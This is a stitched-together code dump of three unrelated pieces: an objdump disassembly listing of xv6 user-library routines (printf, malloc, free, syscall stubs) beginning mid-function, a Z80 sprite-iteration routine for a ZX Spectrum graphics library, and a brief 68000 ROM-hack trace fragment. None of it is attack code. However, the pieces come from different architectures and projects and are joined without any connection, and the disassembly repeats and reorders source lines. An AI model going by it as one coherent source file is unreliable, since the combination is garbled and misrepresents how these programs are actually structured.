516: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
51a: 0f be 11 movsbl (%ecx),%edx
51d: 8d 5a d0 lea -0x30(%edx),%ebx
520: 80 fb 09 cmp $0x9,%bl
523: 76 eb jbe 510 <atoi+0x20>
n = n*10 + *s++ - '0';
return n;
}
525: 5b pop %ebx
526: 5d pop %ebp
527: c3 ret
528: 90 nop
529: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000530 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
530: 55 push %ebp
531: 89 e5 mov %esp,%ebp
533: 56 push %esi
534: 53 push %ebx
535: 8b 5d 10 mov 0x10(%ebp),%ebx
538: 8b 45 08 mov 0x8(%ebp),%eax
53b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
53e: 85 db test %ebx,%ebx
540: 7e 14 jle 556 <memmove+0x26>
542: 31 d2 xor %edx,%edx
544: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
548: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
54c: 88 0c 10 mov %cl,(%eax,%edx,1)
54f: 83 c2 01 add $0x1,%edx
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
552: 39 da cmp %ebx,%edx
554: 75 f2 jne 548 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
556: 5b pop %ebx
557: 5e pop %esi
558: 5d pop %ebp
559: c3 ret
0000055a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
55a: b8 01 00 00 00 mov $0x1,%eax
55f: cd 40 int $0x40
561: c3 ret
00000562 <exit>:
SYSCALL(exit)
562: b8 02 00 00 00 mov $0x2,%eax
567: cd 40 int $0x40
569: c3 ret
0000056a <wait>:
SYSCALL(wait)
56a: b8 03 00 00 00 mov $0x3,%eax
56f: cd 40 int $0x40
571: c3 ret
00000572 <pipe>:
SYSCALL(pipe)
572: b8 04 00 00 00 mov $0x4,%eax
577: cd 40 int $0x40
579: c3 ret
0000057a <read>:
SYSCALL(read)
57a: b8 05 00 00 00 mov $0x5,%eax
57f: cd 40 int $0x40
581: c3 ret
00000582 <write>:
SYSCALL(write)
582: b8 10 00 00 00 mov $0x10,%eax
587: cd 40 int $0x40
589: c3 ret
0000058a <close>:
SYSCALL(close)
58a: b8 15 00 00 00 mov $0x15,%eax
58f: cd 40 int $0x40
591: c3 ret
00000592 <kill>:
SYSCALL(kill)
592: b8 06 00 00 00 mov $0x6,%eax
597: cd 40 int $0x40
599: c3 ret
0000059a <exec>:
SYSCALL(exec)
59a: b8 07 00 00 00 mov $0x7,%eax
59f: cd 40 int $0x40
5a1: c3 ret
000005a2 <open>:
SYSCALL(open)
5a2: b8 0f 00 00 00 mov $0xf,%eax
5a7: cd 40 int $0x40
5a9: c3 ret
000005aa <mknod>:
SYSCALL(mknod)
5aa: b8 11 00 00 00 mov $0x11,%eax
5af: cd 40 int $0x40
5b1: c3 ret
000005b2 <unlink>:
SYSCALL(unlink)
5b2: b8 12 00 00 00 mov $0x12,%eax
5b7: cd 40 int $0x40
5b9: c3 ret
000005ba <fstat>:
SYSCALL(fstat)
5ba: b8 08 00 00 00 mov $0x8,%eax
5bf: cd 40 int $0x40
5c1: c3 ret
000005c2 <link>:
SYSCALL(link)
5c2: b8 13 00 00 00 mov $0x13,%eax
5c7: cd 40 int $0x40
5c9: c3 ret
000005ca <mkdir>:
SYSCALL(mkdir)
5ca: b8 14 00 00 00 mov $0x14,%eax
5cf: cd 40 int $0x40
5d1: c3 ret
000005d2 <chdir>:
SYSCALL(chdir)
5d2: b8 09 00 00 00 mov $0x9,%eax
5d7: cd 40 int $0x40
5d9: c3 ret
000005da <dup>:
SYSCALL(dup)
5da: b8 0a 00 00 00 mov $0xa,%eax
5df: cd 40 int $0x40
5e1: c3 ret
000005e2 <getpid>:
SYSCALL(getpid)
5e2: b8 0b 00 00 00 mov $0xb,%eax
5e7: cd 40 int $0x40
5e9: c3 ret
000005ea <sbrk>:
SYSCALL(sbrk)
5ea: b8 0c 00 00 00 mov $0xc,%eax
5ef: cd 40 int $0x40
5f1: c3 ret
000005f2 <sleep>:
SYSCALL(sleep)
5f2: b8 0d 00 00 00 mov $0xd,%eax
5f7: cd 40 int $0x40
5f9: c3 ret
000005fa <uptime>:
SYSCALL(uptime)
5fa: b8 0e 00 00 00 mov $0xe,%eax
5ff: cd 40 int $0x40
601: c3 ret
00000602 <adress>:
SYSCALL(adress)
602: b8 16 00 00 00 mov $0x16,%eax
607: cd 40 int $0x40
609: c3 ret
60a: 66 90 xchg %ax,%ax
60c: 66 90 xchg %ax,%ax
60e: 66 90 xchg %ax,%ax
00000610 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
610: 55 push %ebp
611: 89 e5 mov %esp,%ebp
613: 57 push %edi
614: 56 push %esi
615: 53 push %ebx
616: 89 c6 mov %eax,%esi
618: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
61b: 8b 5d 08 mov 0x8(%ebp),%ebx
61e: 85 db test %ebx,%ebx
620: 74 7e je 6a0 <printint+0x90>
622: 89 d0 mov %edx,%eax
624: c1 e8 1f shr $0x1f,%eax
627: 84 c0 test %al,%al
629: 74 75 je 6a0 <printint+0x90>
neg = 1;
x = -xx;
62b: 89 d0 mov %edx,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
62d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
634: f7 d8 neg %eax
636: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
639: 31 ff xor %edi,%edi
63b: 8d 5d d7 lea -0x29(%ebp),%ebx
63e: 89 ce mov %ecx,%esi
640: eb 08 jmp 64a <printint+0x3a>
642: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
648: 89 cf mov %ecx,%edi
64a: 31 d2 xor %edx,%edx
64c: 8d 4f 01 lea 0x1(%edi),%ecx
64f: f7 f6 div %esi
651: 0f b6 92 10 0a 00 00 movzbl 0xa10(%edx),%edx
}while((x /= base) != 0);
658: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
65a: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
65d: 75 e9 jne 648 <printint+0x38>
if(neg)
65f: 8b 45 c4 mov -0x3c(%ebp),%eax
662: 8b 75 c0 mov -0x40(%ebp),%esi
665: 85 c0 test %eax,%eax
667: 74 08 je 671 <printint+0x61>
buf[i++] = '-';
669: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
66e: 8d 4f 02 lea 0x2(%edi),%ecx
671: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi
675: 8d 76 00 lea 0x0(%esi),%esi
678: 0f b6 07 movzbl (%edi),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
67b: 83 ec 04 sub $0x4,%esp
67e: 83 ef 01 sub $0x1,%edi
681: 6a 01 push $0x1
683: 53 push %ebx
684: 56 push %esi
685: 88 45 d7 mov %al,-0x29(%ebp)
688: e8 f5 fe ff ff call 582 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
68d: 83 c4 10 add $0x10,%esp
690: 39 df cmp %ebx,%edi
692: 75 e4 jne 678 <printint+0x68>
putc(fd, buf[i]);
}
694: 8d 65 f4 lea -0xc(%ebp),%esp
697: 5b pop %ebx
698: 5e pop %esi
699: 5f pop %edi
69a: 5d pop %ebp
69b: c3 ret
69c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
} else {
x = xx;
6a0: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
6a2: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
6a9: eb 8b jmp 636 <printint+0x26>
6ab: 90 nop
6ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000006b0 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
6b0: 55 push %ebp
6b1: 89 e5 mov %esp,%ebp
6b3: 57 push %edi
6b4: 56 push %esi
6b5: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6b6: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
6b9: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6bc: 8b 75 0c mov 0xc(%ebp),%esi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
6bf: 8b 7d 08 mov 0x8(%ebp),%edi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6c2: 89 45 d0 mov %eax,-0x30(%ebp)
6c5: 0f b6 1e movzbl (%esi),%ebx
6c8: 83 c6 01 add $0x1,%esi
6cb: 84 db test %bl,%bl
6cd: 0f 84 b0 00 00 00 je 783 <printf+0xd3>
6d3: 31 d2 xor %edx,%edx
6d5: eb 39 jmp 710 <printf+0x60>
6d7: 89 f6 mov %esi,%esi
6d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
6e0: 83 f8 25 cmp $0x25,%eax
6e3: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
6e6: ba 25 00 00 00 mov $0x25,%edx
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
6eb: 74 18 je 705 <printf+0x55>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
6ed: 8d 45 e2 lea -0x1e(%ebp),%eax
6f0: 83 ec 04 sub $0x4,%esp
6f3: 88 5d e2 mov %bl,-0x1e(%ebp)
6f6: 6a 01 push $0x1
6f8: 50 push %eax
6f9: 57 push %edi
6fa: e8 83 fe ff ff call 582 <write>
6ff: 8b 55 d4 mov -0x2c(%ebp),%edx
702: 83 c4 10 add $0x10,%esp
705: 83 c6 01 add $0x1,%esi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
708: 0f b6 5e ff movzbl -0x1(%esi),%ebx
70c: 84 db test %bl,%bl
70e: 74 73 je 783 <printf+0xd3>
c = fmt[i] & 0xff;
if(state == 0){
710: 85 d2 test %edx,%edx
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
712: 0f be cb movsbl %bl,%ecx
715: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
718: 74 c6 je 6e0 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
71a: 83 fa 25 cmp $0x25,%edx
71d: 75 e6 jne 705 <printf+0x55>
if(c == 'd'){
71f: 83 f8 64 cmp $0x64,%eax
722: 0f 84 f8 00 00 00 je 820 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
728: 81 e1 f7 00 00 00 and $0xf7,%ecx
72e: 83 f9 70 cmp $0x70,%ecx
731: 74 5d je 790 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
733: 83 f8 73 cmp $0x73,%eax
736: 0f 84 84 00 00 00 je 7c0 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
73c: 83 f8 63 cmp $0x63,%eax
73f: 0f 84 ea 00 00 00 je 82f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
745: 83 f8 25 cmp $0x25,%eax
748: 0f 84 c2 00 00 00 je 810 <printf+0x160>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
74e: 8d 45 e7 lea -0x19(%ebp),%eax
751: 83 ec 04 sub $0x4,%esp
754: c6 45 e7 25 movb $0x25,-0x19(%ebp)
758: 6a 01 push $0x1
75a: 50 push %eax
75b: 57 push %edi
75c: e8 21 fe ff ff call 582 <write>
761: 83 c4 0c add $0xc,%esp
764: 8d 45 e6 lea -0x1a(%ebp),%eax
767: 88 5d e6 mov %bl,-0x1a(%ebp)
76a: 6a 01 push $0x1
76c: 50 push %eax
76d: 57 push %edi
76e: 83 c6 01 add $0x1,%esi
771: e8 0c fe ff ff call 582 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
776: 0f b6 5e ff movzbl -0x1(%esi),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
77a: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
77d: 31 d2 xor %edx,%edx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
77f: 84 db test %bl,%bl
781: 75 8d jne 710 <printf+0x60>
putc(fd, c);
}
state = 0;
}
}
}
783: 8d 65 f4 lea -0xc(%ebp),%esp
786: 5b pop %ebx
787: 5e pop %esi
788: 5f pop %edi
789: 5d pop %ebp
78a: c3 ret
78b: 90 nop
78c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
790: 83 ec 0c sub $0xc,%esp
793: b9 10 00 00 00 mov $0x10,%ecx
798: 6a 00 push $0x0
79a: 8b 5d d0 mov -0x30(%ebp),%ebx
79d: 89 f8 mov %edi,%eax
79f: 8b 13 mov (%ebx),%edx
7a1: e8 6a fe ff ff call 610 <printint>
ap++;
7a6: 89 d8 mov %ebx,%eax
7a8: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
7ab: 31 d2 xor %edx,%edx
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
7ad: 83 c0 04 add $0x4,%eax
7b0: 89 45 d0 mov %eax,-0x30(%ebp)
7b3: e9 4d ff ff ff jmp 705 <printf+0x55>
7b8: 90 nop
7b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
7c0: 8b 45 d0 mov -0x30(%ebp),%eax
7c3: 8b 18 mov (%eax),%ebx
ap++;
7c5: 83 c0 04 add $0x4,%eax
7c8: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
s = "(null)";
7cb: b8 06 0a 00 00 mov $0xa06,%eax
7d0: 85 db test %ebx,%ebx
7d2: 0f 44 d8 cmove %eax,%ebx
while(*s != 0){
7d5: 0f b6 03 movzbl (%ebx),%eax
7d8: 84 c0 test %al,%al
7da: 74 23 je 7ff <printf+0x14f>
7dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
7e0: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
7e3: 8d 45 e3 lea -0x1d(%ebp),%eax
7e6: 83 ec 04 sub $0x4,%esp
7e9: 6a 01 push $0x1
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
7eb: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
7ee: 50 push %eax
7ef: 57 push %edi
7f0: e8 8d fd ff ff call 582 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
7f5: 0f b6 03 movzbl (%ebx),%eax
7f8: 83 c4 10 add $0x10,%esp
7fb: 84 c0 test %al,%al
7fd: 75 e1 jne 7e0 <printf+0x130>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
7ff: 31 d2 xor %edx,%edx
801: e9 ff fe ff ff jmp 705 <printf+0x55>
806: 8d 76 00 lea 0x0(%esi),%esi
809: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
810: 83 ec 04 sub $0x4,%esp
813: 88 5d e5 mov %bl,-0x1b(%ebp)
816: 8d 45 e5 lea -0x1b(%ebp),%eax
819: 6a 01 push $0x1
81b: e9 4c ff ff ff jmp 76c <printf+0xbc>
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
820: 83 ec 0c sub $0xc,%esp
823: b9 0a 00 00 00 mov $0xa,%ecx
828: 6a 01 push $0x1
82a: e9 6b ff ff ff jmp 79a <printf+0xea>
82f: 8b 5d d0 mov -0x30(%ebp),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
832: 83 ec 04 sub $0x4,%esp
835: 8b 03 mov (%ebx),%eax
837: 6a 01 push $0x1
839: 88 45 e4 mov %al,-0x1c(%ebp)
83c: 8d 45 e4 lea -0x1c(%ebp),%eax
83f: 50 push %eax
840: 57 push %edi
841: e8 3c fd ff ff call 582 <write>
846: e9 5b ff ff ff jmp 7a6 <printf+0xf6>
84b: 66 90 xchg %ax,%ax
84d: 66 90 xchg %ax,%ax
84f: 90 nop
00000850 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
850: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
851: a1 a0 0d 00 00 mov 0xda0,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
856: 89 e5 mov %esp,%ebp
858: 57 push %edi
859: 56 push %esi
85a: 53 push %ebx
85b: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
85e: 8b 10 mov (%eax),%edx
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
860: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
863: 39 c8 cmp %ecx,%eax
865: 73 19 jae 880 <free+0x30>
867: 89 f6 mov %esi,%esi
869: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
870: 39 d1 cmp %edx,%ecx
872: 72 1c jb 890 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
874: 39 d0 cmp %edx,%eax
876: 73 18 jae 890 <free+0x40>
static Header base;
static Header *freep;
void
free(void *ap)
{
878: 89 d0 mov %edx,%eax
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
87a: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
87c: 8b 10 mov (%eax),%edx
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
87e: 72 f0 jb 870 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
880: 39 d0 cmp %edx,%eax
882: 72 f4 jb 878 <free+0x28>
884: 39 d1 cmp %edx,%ecx
886: 73 f0 jae 878 <free+0x28>
888: 90 nop
889: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(bp + bp->s.size == p->s.ptr){
890: 8b 73 fc mov -0x4(%ebx),%esi
893: 8d 3c f1 lea (%ecx,%esi,8),%edi
896: 39 d7 cmp %edx,%edi
898: 74 19 je 8b3 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
89a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
89d: 8b 50 04 mov 0x4(%eax),%edx
8a0: 8d 34 d0 lea (%eax,%edx,8),%esi
8a3: 39 f1 cmp %esi,%ecx
8a5: 74 23 je 8ca <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
8a7: 89 08 mov %ecx,(%eax)
freep = p;
8a9: a3 a0 0d 00 00 mov %eax,0xda0
}
8ae: 5b pop %ebx
8af: 5e pop %esi
8b0: 5f pop %edi
8b1: 5d pop %ebp
8b2: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
8b3: 03 72 04 add 0x4(%edx),%esi
8b6: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
8b9: 8b 10 mov (%eax),%edx
8bb: 8b 12 mov (%edx),%edx
8bd: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
8c0: 8b 50 04 mov 0x4(%eax),%edx
8c3: 8d 34 d0 lea (%eax,%edx,8),%esi
8c6: 39 f1 cmp %esi,%ecx
8c8: 75 dd jne 8a7 <free+0x57>
p->s.size += bp->s.size;
8ca: 03 53 fc add -0x4(%ebx),%edx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
8cd: a3 a0 0d 00 00 mov %eax,0xda0
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
8d2: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
8d5: 8b 53 f8 mov -0x8(%ebx),%edx
8d8: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
8da: 5b pop %ebx
8db: 5e pop %esi
8dc: 5f pop %edi
8dd: 5d pop %ebp
8de: c3 ret
8df: 90 nop
000008e0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
8e0: 55 push %ebp
8e1: 89 e5 mov %esp,%ebp
8e3: 57 push %edi
8e4: 56 push %esi
8e5: 53 push %ebx
8e6: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
8e9: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
8ec: 8b 15 a0 0d 00 00 mov 0xda0,%edx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
8f2: 8d 78 07 lea 0x7(%eax),%edi
8f5: c1 ef 03 shr $0x3,%edi
8f8: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
8fb: 85 d2 test %edx,%edx
8fd: 0f 84 a3 00 00 00 je 9a6 <malloc+0xc6>
903: 8b 02 mov (%edx),%eax
905: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
908: 39 cf cmp %ecx,%edi
90a: 76 74 jbe 980 <malloc+0xa0>
90c: 81 ff 00 10 00 00 cmp $0x1000,%edi
912: be 00 10 00 00 mov $0x1000,%esi
917: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx
91e: 0f 43 f7 cmovae %edi,%esi
921: ba 00 80 00 00 mov $0x8000,%edx
926: 81 ff ff 0f 00 00 cmp $0xfff,%edi
92c: 0f 46 da cmovbe %edx,%ebx
92f: eb 10 jmp 941 <malloc+0x61>
931: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
938: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
93a: 8b 48 04 mov 0x4(%eax),%ecx
93d: 39 cf cmp %ecx,%edi
93f: 76 3f jbe 980 <malloc+0xa0>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
941: 39 05 a0 0d 00 00 cmp %eax,0xda0
947: 89 c2 mov %eax,%edx
949: 75 ed jne 938 <malloc+0x58>
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
94b: 83 ec 0c sub $0xc,%esp
94e: 53 push %ebx
94f: e8 96 fc ff ff call 5ea <sbrk>
if(p == (char*)-1)
954: 83 c4 10 add $0x10,%esp
957: 83 f8 ff cmp $0xffffffff,%eax
95a: 74 1c je 978 <malloc+0x98>
return 0;
hp = (Header*)p;
hp->s.size = nu;
95c: 89 70 04 mov %esi,0x4(%eax)
free((void*)(hp + 1));
95f: 83 ec 0c sub $0xc,%esp
962: 83 c0 08 add $0x8,%eax
965: 50 push %eax
966: e8 e5 fe ff ff call 850 <free>
return freep;
96b: 8b 15 a0 0d 00 00 mov 0xda0,%edx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
971: 83 c4 10 add $0x10,%esp
974: 85 d2 test %edx,%edx
976: 75 c0 jne 938 <malloc+0x58>
return 0;
978: 31 c0 xor %eax,%eax
97a: eb 1c jmp 998 <malloc+0xb8>
97c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
980: 39 cf cmp %ecx,%edi
982: 74 1c je 9a0 <malloc+0xc0>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
984: 29 f9 sub %edi,%ecx
986: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
989: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
98c: 89 78 04 mov %edi,0x4(%eax)
}
freep = prevp;
98f: 89 15 a0 0d 00 00 mov %edx,0xda0
return (void*)(p + 1);
995: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
998: 8d 65 f4 lea -0xc(%ebp),%esp
99b: 5b pop %ebx
99c: 5e pop %esi
99d: 5f pop %edi
99e: 5d pop %ebp
99f: c3 ret
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
9a0: 8b 08 mov (%eax),%ecx
9a2: 89 0a mov %ecx,(%edx)
9a4: eb e9 jmp 98f <malloc+0xaf>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
9a6: c7 05 a0 0d 00 00 a4 movl $0xda4,0xda0
9ad: 0d 00 00
9b0: c7 05 a4 0d 00 00 a4 movl $0xda4,0xda4
9b7: 0d 00 00
base.s.size = 0;
9ba: b8 a4 0d 00 00 mov $0xda4,%eax
9bf: c7 05 a8 0d 00 00 00 movl $0x0,0xda8
9c6: 00 00 00
9c9: e9 3e ff ff ff jmp 90c <malloc+0x2c>
|
; void sp1_IterateUpdateSpr(struct sp1_ss *s, void *hook2)
; 11.2006 aralbrec, Sprite Pack v3.0
; sinclair spectrum version
SECTION code_clib
SECTION code_temp_sp1
PUBLIC asm_sp1_IterateUpdateSpr
EXTERN l_jpix
asm_sp1_IterateUpdateSpr:
; Iterate over all the sp1_update* that the sprite's characters
; occupy in row major order, calling the user function for each
; one. Where a sprite character is not drawn, the user function
; is not called.
;
; enter : hl = & struct sp1_ss
; ix = user function
; uses : af, bc, hl + whatever user function uses
ld bc,15
add hl,bc ; hl = & struct sp1_ss.first
ld c,b ; bc = sprite char counter = 0
iterloop:
ld a,(hl)
or a
ret z
inc hl
ld l,(hl)
ld h,a ; hl = & next struct sp1_cs
push hl
inc hl
inc hl
ld a,(hl)
or a
jr z, skipit
inc hl
ld l,(hl)
ld h,a ; hl = struct sp1_update*
push ix
IFDEF __SDCC
push hl
push bc
ELSE
push bc
push hl
ENDIF
call l_jpix ; call userfunc(uint count, struct sp1_update *u)
IFDEF __SDCC
pop bc
pop hl
ELSE
pop hl
pop bc
ENDIF
pop ix
skipit:
pop hl
inc bc
jp iterloop
|
copyright zengfr site:http://github.com/zengfr/romhack
00073E move.b ($16,A5), ($1b,A5) [base+ 1F]
000744 move.b ($17,A5), ($1c,A5) [base+ 1B]
007040 move.b ($1b,A5), D1 [base+ 16]
007044 eor.b D1, D0 [base+ 1B]
00B14A move.b (A1), D1
